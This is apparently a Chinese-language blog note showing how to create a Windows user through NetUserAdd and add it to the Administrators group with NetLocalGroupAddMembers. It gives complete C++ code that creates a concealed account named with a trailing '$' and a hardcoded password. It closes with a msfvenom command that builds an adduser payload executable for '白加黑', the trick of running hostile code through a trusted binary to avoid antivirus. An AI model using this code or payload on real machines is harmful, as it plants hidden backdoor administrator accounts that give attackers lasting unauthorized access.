实现:API实现创建用户并且添加至管理员
前言:API实现创建用户并且添加至管理员笔记
参考文章:https://www.cnblogs.com/17bdw/p/6790197.html#_label0
win32实现用户添加
利用的API函数
- NetUserAdd
NetUserAdd
NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
IN LPCWSTR servername OPTIONAL, //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
IN DWORD level,
IN LPBYTE buf,
OUT LPDWORD parm_err OPTIONAL
);
- NetLocalGroupAddMembers
NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
IN LPCWSTR servername OPTIONAL,
IN LPCWSTR groupname,
IN DWORD level,
IN LPBYTE buf,
IN DWORD totalentries
);
代码实现
实现过程:使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。
windows_api.cpp
// windows_api.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include "pch.h"
#include <iostream>
#include<stdio.h>
#include<windows.h>
#include<lm.h>
#pragma comment(lib,"netapi32")
int wmain(int argc, wchar_t *argv[])
{
// 定义USER_INFO_1结构体
USER_INFO_1 ui;
DWORD dwError = 0;
//小笔记 LPWSTR 是 wchar_t * , L"zzzhh" 类型是const wchar_t[6] 可以隐式转换为const whcar_t *
wchar_t username[] = L"adexx$";
ui.usri1_name = username; // 账户
wchar_t password[] = L"adexx!@#QWE";
ui.usri1_password = password; // 密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为adexx的用户,密码为p@adexx!@#QWE
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
std::cout << "普通用户添加成功" << std::endl;
}
else
{
//添加失败
std::cout << "普通用户添加失败" << std::endl;
}
// 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
{
//添加成功
std::cout << "管理员用户添加成功" << std::endl;
}
else
{
//添加失败
std::cout << "管理员用户添加失败" << std::endl;
}
return 0;
}
shellcode生成用于白加黑
通过msfvenom来生成相关的shellcode,如下图所示
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe